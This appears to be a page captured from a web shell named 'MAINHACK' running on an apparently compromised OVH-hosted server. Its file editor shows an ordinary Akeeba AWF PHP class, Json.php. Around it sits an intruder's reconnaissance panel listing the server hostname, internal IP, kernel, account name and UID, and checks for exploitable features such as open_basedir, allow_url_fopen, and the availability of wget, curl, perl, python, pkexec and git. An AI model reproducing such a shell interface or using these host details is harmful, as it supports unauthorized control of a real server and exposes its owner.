[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Json.php
<?php /** * @package awf * @copyright Copyright (c)2014-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU GPL version 3 or later */ namespace Awf\Document; use Awf\Container\Container; use Awf\Text\Language; /** * Class Json * * A JSON output implementation * * @package Awf\Document */ class Json extends Document { /** @var boolean Should I wrap the JSON output in triple hashes? Used to work around broken servers. */ protected $useHashes = true; public function __construct(Container $container, ?Language $language = null) { parent::__construct($container, $language); $this->mimeType = 'application/json'; } /** * Outputs the buffer, which is assumed to contain JSON data, to the * browser. If $useHashes is true the output will be wrapped with triple * hashes, essentially marking the beginning and end of the JSON data in * the output. This is required on broken server implementations which may * prefix or append the output with banner ad code, error messages or any * crap a host might decide it's a good idea to put in all output. Welcome * to the crazy world of hosting. * * @return void */ public function render() { $this->addHTTPHeader('Content-Type', $this->getMimeType()); $name = $this->getName(); if (!empty($name)) { $this->addHTTPHeader('Content-Disposition', 'attachment; filename="' . $name . '.json"', true); } $this->outputHTTPHeaders(); if ($this->useHashes) { echo '###' . $this->getBuffer() . '###'; } else { echo $this->getBuffer(); } } /** * Public setter for the $useHashes protected variable. * * @see \Awf\Document\Json::render() * * @param boolean $setting * * @return void */ public function setUseHashes($setting) { $this->useHashes = (bool)$setting; } /** * Public getter for the $useHashes protected variable. * * @see \Awf\Document\Json::render() * * @return boolean */ public function getUseHashes() { return $this->useHashes; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697